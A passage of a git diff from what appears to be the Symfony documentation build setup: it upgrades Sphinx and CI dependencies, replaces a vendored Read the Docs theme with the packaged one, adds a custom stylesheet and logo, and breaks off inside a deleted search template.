 rename _build/{_themes => }/_exts/symfonycom/sphinx/lexer.py (100%)
 create mode 100644 _build/_static/rtd_custom.css
 create mode 100644 _build/_static/symfony-logo.svg
 delete mode 100755 _build/_themes/sphinx_rtd_theme/__init__.py
 delete mode 100755 _build/_themes/sphinx_rtd_theme/breadcrumbs.html
 delete mode 100755 _build/_themes/sphinx_rtd_theme/footer.html
 delete mode 100755 _build/_themes/sphinx_rtd_theme/layout.html
 delete mode 100755 _build/_themes/sphinx_rtd_theme/search.html
 delete mode 100755 _build/_themes/sphinx_rtd_theme/searchbox.html
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/css/badge_only.css
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/css/theme.css
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/FontAwesome.otf
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.eot
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.svg
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.ttf
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.woff
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/fonts/fontawesome-webfont.woff2
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/js/modernizr.min.js
 delete mode 100755 _build/_themes/sphinx_rtd_theme/static/js/theme.js
 delete mode 100755 _build/_themes/sphinx_rtd_theme/theme.conf
 delete mode 100755 _build/_themes/sphinx_rtd_theme/versions.html

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b6cac043dfc..18a34b866ae 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -50,6 +50,7 @@ whitelist:
         - '/FOSUserBundle(.*)\.yml/'
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
+        - '/rst-class/'
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
@@ -72,3 +73,4 @@ whitelist:
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
         - "`Deploying Symfony 4 Apps on Heroku`_."
         - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
+        - '.. code-block:: twig'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 67b28daf0f3..402e0dc572b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -30,7 +30,7 @@ jobs:
                 run: sudo apt-get install python-dev build-essential
 
             -   name: "Cache pip"
-                uses: actions/cache@v1
+                uses: actions/cache@v2
                 with:
                     path: ~/.cache/pip
                     key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
@@ -41,7 +41,7 @@ jobs:
                 run: pip install -r _build/.requirements.txt
 
             -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS=-nqW html
+                run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
     doctor-rst:
         name: DOCtor-RST
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
index b5073dd2e77..47f076e9403 100644
--- a/_build/.requirements.txt
+++ b/_build/.requirements.txt
@@ -1,13 +1,6 @@
-alabaster==0.7.10
-Babel==2.4.0
 docutils==0.13.1
-imagesize==0.7.1
-Jinja2==2.10.1
-MarkupSafe==1.0
 Pygments==2.2.0
-pytz==2017.2
-requests==2.20.0
-six==1.10.0
-snowballstemmer==1.2.1
-sphinx==1.3.6
-git+https://github.com/fabpot/sphinx-php.git@v1.0.14#egg_name=sphinx-php
+sphinx==1.8.5
+git+https://github.com/fabpot/sphinx-php.git@v2.0.0#egg_name=sphinx-php
+jsx-lexer===0.0.8
+sphinx_rtd_theme==0.5.0
diff --git a/_build/_themes/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py
similarity index 100%
rename from _build/_themes/_exts/symfonycom/__init__.py
rename to _build/_exts/symfonycom/__init__.py
diff --git a/_build/_themes/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py
similarity index 54%
rename from _build/_themes/_exts/symfonycom/sphinx/__init__.py
rename to _build/_exts/symfonycom/sphinx/__init__.py
index 7cba92f2595..4a61e711809 100644
--- a/_build/_themes/_exts/symfonycom/sphinx/__init__.py
+++ b/_build/_exts/symfonycom/sphinx/__init__.py
@@ -1,81 +1,7 @@
-from sphinx.highlighting import lexers, PygmentsBridge
 from pygments.style import Style
-from pygments.formatters import HtmlFormatter
 from pygments.token import Keyword, Name, Comment, String, Error, \
      Number, Operator, Generic, Whitespace, Punctuation, Other, Literal
 
-from sphinx.writers.html import HTMLTranslator
-from docutils import nodes
-from sphinx.locale import admonitionlabels, lazy_gettext
-
-customadmonitionlabels = admonitionlabels
-l_ = lazy_gettext
-customadmonitionlabels['best-practice'] = l_('Best Practice')
-
-def _getType(path):
-    return path[:path.find('/')]
-
-def _isIndex(path):
-    return 'index' in path
-
-class SensioHTMLTranslator(HTMLTranslator):
-    def __init__(self, builder, *args, **kwds):
-        HTMLTranslator.__init__(self, builder, *args, **kwds)
-        builder.templates.environment.filters['get_type'] = _getType
-        builder.templates.environment.tests['index'] = _isIndex
-        self.highlightlinenothreshold = 0
-
-    def visit_literal(self, node):
-        self.body.append(self.starttag(node, 'code', '', CLASS='docutils literal notranslate'))
-
-    def depart_literal(self, node):
-        self.body.append('</code>')
-
-    def visit_admonition(self, node, name=''):
-        self.body.append(self.starttag(node, 'div', CLASS=('admonition-wrapper')))
-        self.body.append('<div class="admonition ' + name + '">')
-        if name and name != 'seealso':
-            node.insert(0, nodes.title(name, customadmonitionlabels[name]))
-        self.set_first_last(node)
-
-    def depart_admonition(self, node=None):
-        self.body.append('</div></div>\n')
-
-    def visit_sidebar(self, node):
-        self.body.append(self.starttag(node, 'div', CLASS=('admonition-wrapper')))
-        self.body.append('<div class="admonition admonition-sidebar">')
-        self.set_first_last(node)
-        self.in_sidebar = 1
-
-    def depart_sidebar(self, node):
-        self.body.append('</div></div>\n')
-        self.in_sidebar = None
-
-    # overriden to add a new highlight div around each block
-    def visit_literal_block(self, node):
-        if node.rawsource != node.astext():
-            # most probably a parsed-literal block -- don't highlight
-            return BaseTranslator.visit_literal_block(self, node)
-        lang = self.highlightlang
-        linenos = node.rawsource.count('\n') >= \
-                  self.highlightlinenothreshold - 1
-        highlight_args = node.get('highlight_args', {})
-        if node.has_key('language'):
-            # code-block directives
-            lang = node['language']
-            highlight_args['force'] = True
-        if node.has_key('linenos'):
-            linenos = node['linenos']
-        def warner(msg):
-            self.builder.warn(msg, (self.builder.current_docname, node.line))
-        highlighted = self.highlighter.highlight_block(
-            node.rawsource, lang, warn=warner, linenos=linenos,
-            **highlight_args)
-        starttag = self.starttag(node, 'div', suffix='',
-                                 CLASS='highlight-%s' % lang)
-        self.body.append('<div class="literal-block">' + starttag + highlighted + '</div></div>\n')
-        raise nodes.SkipNode
-
 class SensioStyle(Style):
     background_color = "#000000"
     default_style = ""
@@ -158,8 +84,3 @@ class SensioStyle(Style):
         Generic.Subheading: "bold #800080", # class: 'gu'
         Generic.Traceback: "bold #a40000", # class: 'gt'
     }
-
-def setup(app):
-    app.set_translator('html', SensioHTMLTranslator)
-
-    return {'parallel_read_safe': True}
diff --git a/_build/_themes/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py
similarity index 100%
rename from _build/_themes/_exts/symfonycom/sphinx/lexer.py
rename to _build/_exts/symfonycom/sphinx/lexer.py
diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css
new file mode 100644
index 00000000000..01298437755
--- /dev/null
+++ b/_build/_static/rtd_custom.css
@@ -0,0 +1,23 @@
+body {
+	font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important;
+}
+
+h1, h2, h3, h4, h5, h6 {
+	font-family:Georgia,Times New Roman,Times,serif !important;
+	line-height:1.2 !important;
+	margin-top:0 !important;
+	margin-bottom:.5em !important;
+}
+p, .rst-content li{
+	font-size:14px !important;
+	line-height:1.45 !important;
+}
+.wy-menu-vertical a {
+	font-size:14px !important;
+	padding-right:0 !important;
+}
+
+.highlight {
+	background:#1e2125 !important;
+    color:#fafafa !important;
+}
diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg
new file mode 100644
index 00000000000..828c2b297b0
--- /dev/null
+++ b/_build/_static/symfony-logo.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg>
\ No newline at end of file
diff --git a/_build/_themes/sphinx_rtd_theme/__init__.py b/_build/_themes/sphinx_rtd_theme/__init__.py
deleted file mode 100755
index dfa448a21a2..00000000000
--- a/_build/_themes/sphinx_rtd_theme/__init__.py
+++ /dev/null
@@ -1,19 +0,0 @@
-"""Sphinx ReadTheDocs theme.
-
-From https://github.com/ryan-roemer/sphinx-bootstrap-theme.
-
-"""
-from os import path
-
-__version__ = '0.4.0'
-__version_full__ = __version__
-
-
-def get_html_theme_path():
-    """Return list of HTML theme paths."""
-    cur_dir = path.abspath(path.dirname(path.dirname(__file__)))
-    return cur_dir
-
-# See http://www.sphinx-doc.org/en/stable/theming.html#distribute-your-theme-as-a-python-package
-def setup(app):
-    app.add_html_theme('sphinx_rtd_theme', path.abspath(path.dirname(__file__)))
diff --git a/_build/_themes/sphinx_rtd_theme/breadcrumbs.html b/_build/_themes/sphinx_rtd_theme/breadcrumbs.html
deleted file mode 100755
index 31550d8b37a..00000000000
--- a/_build/_themes/sphinx_rtd_theme/breadcrumbs.html
+++ /dev/null
@@ -1,82 +0,0 @@
-{# Support for Sphinx 1.3+ page_source_suffix, but don't break old builds. #}
-
-{% if page_source_suffix %}
-{% set suffix = page_source_suffix %}
-{% else %}
-{% set suffix = source_suffix %}
-{% endif %}
-
-{% if meta is defined and meta is not none %}
-{% set check_meta = True %}
-{% else %}
-{% set check_meta = False %}
-{% endif %}
-
-{% if check_meta and 'github_url' in meta %}
-{% set display_github = True %}
-{% endif %}
-
-{% if check_meta and 'bitbucket_url' in meta %}
-{% set display_bitbucket = True %}
-{% endif %}
-
-{% if check_meta and 'gitlab_url' in meta %}
-{% set display_gitlab = True %}
-{% endif %}
-
-<div role="navigation" aria-label="breadcrumbs navigation">
-
-  <ul class="wy-breadcrumbs">
-    {% block breadcrumbs %}
-      <li><a href="{{ pathto(master_doc) }}">{{ _('Docs') }}</a> &raquo;</li>
-        {% for doc in parents %}
-          <li><a href="{{ doc.link|e }}">{{ doc.title }}</a> &raquo;</li>
-        {% endfor %}
-      <li>{{ title }}</li>
-    {% endblock %}
-    {% block breadcrumbs_aside %}
-      <li class="wy-breadcrumbs-aside">
-        {% if hasdoc(pagename) %}
-            {% if display_github %}
-            {% if check_meta and 'github_url' in meta %}
-              <!-- User defined GitHub URL -->
-              <a href="{{ meta['github_url'] }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a>
-            {% else %}
-              <a href="https://{{ github_host|default("github.com") }}/{{ github_user }}/{{ github_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ github_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a>
-            {% endif %}
-          {% elif display_bitbucket %}
-            {% if check_meta and 'bitbucket_url' in meta %}
-              <!-- User defined Bitbucket URL -->
-              <a href="{{ meta['bitbucket_url'] }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a>
-            {% else %}
-              <a href="https://bitbucket.org/{{ bitbucket_user }}/{{ bitbucket_repo }}/src/{{ bitbucket_version}}{{ conf_py_path }}{{ pagename }}{{ suffix }}?mode={{ theme_vcs_pageview_mode|default("view") }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a>
-            {% endif %}
-          {% elif display_gitlab %}
-            {% if check_meta and 'gitlab_url' in meta %}
-              <!-- User defined GitLab URL -->
-              <a href="{{ meta['gitlab_url'] }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a>
-            {% else %}
-              <a href="https://{{ gitlab_host|default("gitlab.com") }}/{{ gitlab_user }}/{{ gitlab_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ gitlab_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a>
-            {% endif %}
-          {% elif show_source and source_url_prefix %}
-            <a href="{{ source_url_prefix }}{{ pagename }}{{ suffix }}">{{ _('View page source') }}</a>
-          {% elif show_source and has_source and sourcename %}
-            <a href="{{ pathto('_sources/' + sourcename, true)|e }}" rel="nofollow"> {{ _('View page source') }}</a>
-          {% endif %}
-        {% endif %}
-      </li>
-    {% endblock %}
-  </ul>
-
-  {% if (theme_prev_next_buttons_location == 'top' or theme_prev_next_buttons_location == 'both') and (next or prev) %}
-  <div class="rst-breadcrumbs-buttons" role="navigation" aria-label="breadcrumb navigation">
-      {% if next %}
-        <a href="{{ next.link|e }}" class="btn btn-neutral float-right" title="{{ next.title|striptags|e }}" accesskey="n">Next <span class="fa fa-arrow-circle-right"></span></a>
-      {% endif %}
-      {% if prev %}
-        <a href="{{ prev.link|e }}" class="btn btn-neutral" title="{{ prev.title|striptags|e }}" accesskey="p"><span class="fa fa-arrow-circle-left"></span> Previous</a>
-      {% endif %}
-  </div>
-  {% endif %}
-  <hr/>
-</div>
diff --git a/_build/_themes/sphinx_rtd_theme/footer.html b/_build/_themes/sphinx_rtd_theme/footer.html
deleted file mode 100755
index 448d1457558..00000000000
--- a/_build/_themes/sphinx_rtd_theme/footer.html
+++ /dev/null
@@ -1,52 +0,0 @@
-<footer>
-  {% if (theme_prev_next_buttons_location == 'bottom' or theme_prev_next_buttons_location == 'both') and (next or prev) %}
-    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
-      {% if next %}
-        <a href="{{ next.link|e }}" class="btn btn-neutral float-right" title="{{ next.title|striptags|e }}" accesskey="n" rel="next">{{ _('Next') }} <span class="fa fa-arrow-circle-right"></span></a>
-      {% endif %}
-      {% if prev %}
-        <a href="{{ prev.link|e }}" class="btn btn-neutral" title="{{ prev.title|striptags|e }}" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> {{ _('Previous') }}</a>
-      {% endif %}
-    </div>
-  {% endif %}
-
-  <hr/>
-
-  <div role="contentinfo">
-    <p>
-    {%- if show_copyright %}
-      {%- if hasdoc('copyright') %}
-        {% trans path=pathto('copyright'), copyright=copyright|e %}&copy; <a href="{{ path }}">Copyright</a> {{ copyright }}.{% endtrans %}
-      {%- else %}
-        {% trans copyright=copyright|e %}&copy; Copyright {{ copyright }}.{% endtrans %}
-      {%- endif %}
-    {%- endif %}
-
-    {%- if build_id and build_url %}
-      {% trans build_url=build_url, build_id=build_id %}
-        <span class="build">
-          Build
-          <a href="{{ build_url }}">{{ build_id }}</a>.
-        </span>
-      {% endtrans %}
-    {%- elif commit %}
-      {% trans commit=commit %}
-        <span class="commit">
-          Revision <code>{{ commit }}</code>.
-        </span>
-      {% endtrans %}
-    {%- elif last_updated %}
-      {% trans last_updated=last_updated|e %}Last updated on {{ last_updated }}.{% endtrans %}
-    {%- endif %}
-
-    </p>
-  </div>
-
-  {%- if show_sphinx %}
-  {% trans %}Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/rtfd/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>{% endtrans %}.
-  {%- endif %}
-
-  {%- block extrafooter %} {% endblock %}
-
-</footer>
-
diff --git a/_build/_themes/sphinx_rtd_theme/layout.html b/_build/_themes/sphinx_rtd_theme/layout.html
deleted file mode 100755
index 82950a20243..00000000000
--- a/_build/_themes/sphinx_rtd_theme/layout.html
+++ /dev/null
@@ -1,219 +0,0 @@
-{# TEMPLATE VAR SETTINGS #}
-{%- set url_root = pathto('', 1) %}
-{%- if url_root == '#' %}{% set url_root = '' %}{% endif %}
-{%- if not embedded and docstitle %}
-  {%- set titlesuffix = " &mdash; "|safe + docstitle|e %}
-{%- else %}
-  {%- set titlesuffix = "" %}
-{%- endif %}
-{%- set lang_attr = 'en' if language == None else (language | replace('_', '-')) %}
-
-<!DOCTYPE html>
-<!--[if IE 8]><html class="no-js lt-ie9" lang="{{ lang_attr }}" > <![endif]-->
-<!--[if gt IE 8]><!--> <html class="no-js" lang="{{ lang_attr }}" > <!--<![endif]-->
-<head>
-  <meta charset="utf-8">
-  {{ metatags }}
-  <meta name="viewport" content="width=device-width, initial-scale=1.0">
-  {% block htmltitle %}
-  <title>{{ title|striptags|e }}{{ titlesuffix }}</title>
-  {% endblock %}
-
-  {# FAVICON #}
-  {% if favicon %}
-    <link rel="shortcut icon" href="{{ pathto('_static/' + favicon, 1) }}"/>
-  {% endif %}
-  {# CANONICAL URL #}
-  {% if theme_canonical_url %}
-    <link rel="canonical" href="{{ theme_canonical_url }}{{ pagename }}.html"/>
-  {% endif %}
-
-  {# CSS #}
-
-  {# OPENSEARCH #}
-  {% if not embedded %}
-    {% if use_opensearch %}
-      <link rel="search" type="application/opensearchdescription+xml"
-            title="{% trans docstitle=docstitle|e %}Search within {{ docstitle }}{% endtrans %}"
-            href="{{ pathto('_static/opensearch.xml', 1) }}"/>
-    {% endif %}
-
-  {% endif %}
-
-  <link rel="stylesheet" href="{{ pathto('_static/' + style, 1) }}" type="text/css" />
-  <link rel="stylesheet" href="{{ pathto('_static/pygments.css', 1) }}" type="text/css" />
-  {%- for css in css_files %}
-    {%- if css|attr("rel") %}
-  <link rel="{{ css.rel }}" href="{{ pathto(css.filename, 1) }}" type="text/css"{% if css.title is not none %} title="{{ css.title }}"{% endif %} />
-    {%- else %}
-  <link rel="stylesheet" href="{{ pathto(css, 1) }}" type="text/css" />
-    {%- endif %}
-  {%- endfor %}
-  {%- for cssfile in extra_css_files %}
-    <link rel="stylesheet" href="{{ pathto(cssfile, 1) }}" type="text/css" />
-  {%- endfor %}
-
-  {%- block linktags %}
-    {%- if hasdoc('about') %}
-    <link rel="author" title="{{ _('About these documents') }}" href="{{ pathto('about') }}" />
-    {%- endif %}
-    {%- if hasdoc('genindex') %}
-    <link rel="index" title="{{ _('Index') }}" href="{{ pathto('genindex') }}" />
-    {%- endif %}
-    {%- if hasdoc('search') %}
-    <link rel="search" title="{{ _('Search') }}" href="{{ pathto('search') }}" />
-    {%- endif %}
-    {%- if hasdoc('copyright') %}
-    <link rel="copyright" title="{{ _('Copyright') }}" href="{{ pathto('copyright') }}" />
-    {%- endif %}
-    {%- if next %}
-    <link rel="next" title="{{ next.title|striptags|e }}" href="{{ next.link|e }}" />
-    {%- endif %}
-    {%- if prev %}
-    <link rel="prev" title="{{ prev.title|striptags|e }}" href="{{ prev.link|e }}" />
-    {%- endif %}
-  {%- endblock %}
-  {%- block extrahead %} {% endblock %}
-
-  {# Keep modernizr in head - http://modernizr.com/docs/#installing #}
-  <script src="{{ pathto('_static/js/modernizr.min.js', 1) }}"></script>
-
-</head>
-
-<body class="wy-body-for-nav">
-
-  {% block extrabody %} {% endblock %}
-  <div class="wy-grid-for-nav">
-
-    {# SIDE NAV, TOGGLES ON MOBILE #}
-    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
-      <div class="wy-side-scroll">
-        <div class="wy-side-nav-search">
-          {% block sidebartitle %}
-
-          {% if logo and theme_logo_only %}
-            <a href="{{ pathto(master_doc) }}">
-          {% else %}
-            <a href="{{ pathto(master_doc) }}" class="icon icon-home"> {{ project }}
-          {% endif %}
-
-          {% if logo %}
-            {# Not strictly valid HTML, but it's the only way to display/scale
-               it properly, without weird scripting or heaps of work
-            #}
-            <img src="{{ pathto('_static/' + logo, 1) }}" class="logo" alt="Logo"/>
-          {% endif %}
-          </a>
-
-          {% if theme_display_version %}
-            {%- set nav_version = version %}
-            {% if READTHEDOCS and current_version %}
-              {%- set nav_version = current_version %}
-            {% endif %}
-            {% if nav_version %}
-              <div class="version">
-                {{ nav_version }}
-              </div>
-            {% endif %}
-          {% endif %}
-
-          {% include "searchbox.html" %}
-
-          {% endblock %}
-        </div>
-
-        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
-          {% block menu %}
-            {#
-              The singlehtml builder doesn't handle this toctree call when the
-              toctree is empty. Skip building this for now.
-            #}
-            {% if 'singlehtml' not in builder %}
-              {% set global_toc = toctree(maxdepth=theme_navigation_depth|int,
-                                          collapse=theme_collapse_navigation|tobool,
-                                          includehidden=theme_includehidden|tobool,
-                                          titles_only=theme_titles_only|tobool) %}
-            {% endif %}
-            {% if global_toc %}
-              {{ global_toc }}
-            {% else %}
-              <!-- Local TOC -->
-              <div class="local-toc">{{ toc }}</div>
-            {% endif %}
-          {% endblock %}
-        </div>
-      </div>
-    </nav>
-
-    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">
-
-      {# MOBILE NAV, TRIGGLES SIDE NAV ON TOGGLE #}
-      <nav class="wy-nav-top" aria-label="top navigation">
-        {% block mobile_nav %}
-          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
-          <a href="{{ pathto(master_doc) }}">{{ project }}</a>
-        {% endblock %}
-      </nav>
-
-
-      <div class="wy-nav-content">
-      {%- block content %}
-        {% if theme_style_external_links|tobool %}
-        <div class="rst-content style-external-links">
-        {% else %}
-        <div class="rst-content">
-        {% endif %}
-          {% include "breadcrumbs.html" %}
-          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
-          {%- block document %}
-           <div itemprop="articleBody">
-            {% block body %}{% endblock %}
-           </div>
-           {% if self.comments()|trim %}
-           <div class="articleComments">
-            {% block comments %}{% endblock %}
-           </div>
-           {% endif%}
-          </div>
-          {%- endblock %}
-          {% include "footer.html" %}
-        </div>
-      {%- endblock %}
-      </div>
-
-    </section>
-
-  </div>
-  {% include "versions.html" %}
-
-  {% if not embedded %}
-
-    <script type="text/javascript">
-        var DOCUMENTATION_OPTIONS = {
-            URL_ROOT:'{{ url_root }}',
-            VERSION:'{{ release|e }}',
-            LANGUAGE:'{{ language }}',
-            COLLAPSE_INDEX:false,
-            FILE_SUFFIX:'{{ '' if no_search_suffix else file_suffix }}',
-            HAS_SOURCE:  {{ has_source|lower }},
-            SOURCELINK_SUFFIX: '{{ sourcelink_suffix }}'
-        };
-    </script>
-    {%- for scriptfile in script_files %}
-      <script type="text/javascript" src="{{ pathto(scriptfile, 1) }}"></script>
-    {%- endfor %}
-
-  {% endif %}
-
-  <script type="text/javascript" src="{{ pathto('_static/js/theme.js', 1) }}"></script>
-
-  <script type="text/javascript">
-      jQuery(function () {
-          SphinxRtdTheme.Navigation.enable({{ 'true' if theme_sticky_navigation|tobool else 'false' }});
-      });
-  </script>
-
-  {%- block footer %} {% endblock %}
-
-</body>
-</html>
diff --git a/_build/_themes/sphinx_rtd_theme/search.html b/_build/_themes/sphinx_rtd_theme/search.html
deleted file mode 100755
index e3aa9b5c6e7..00000000000
--- a/_build/_themes/sphinx_rtd_theme/search.html
+++ /dev/null
@@ -1,50 +0,0 @@
-{#
-    basic/search.html
-    ~~~~~~~~~~~~~~~~~
-
-    Template for the search page.
-
-    :copyright: Copyright 2007-2013 by the Sphinx team, see AUTHORS.
-    :license: BSD, see LICENSE for details.
-#}
-{%- extends "layout.html" %}
-{% set title = _('Search') %}
-{% set script_files = script_files + ['_static/searchtools.js'] %}
-{% block footer %}
-  <script type="text/javascript">
-    jQuery(function() { Search.loadIndex("{{ pathto('searchindex.js', 1) }}"); });
-  </script>
-  {# this is used when loading the search index using $.ajax fails,
-     such as on Chrome for documents on localhost #}
-  <script type="text/javascript" id="searchindexloader"></script>
-  {{ super() }}
-{% endblock %}
-{% block body %}
-  <noscript>
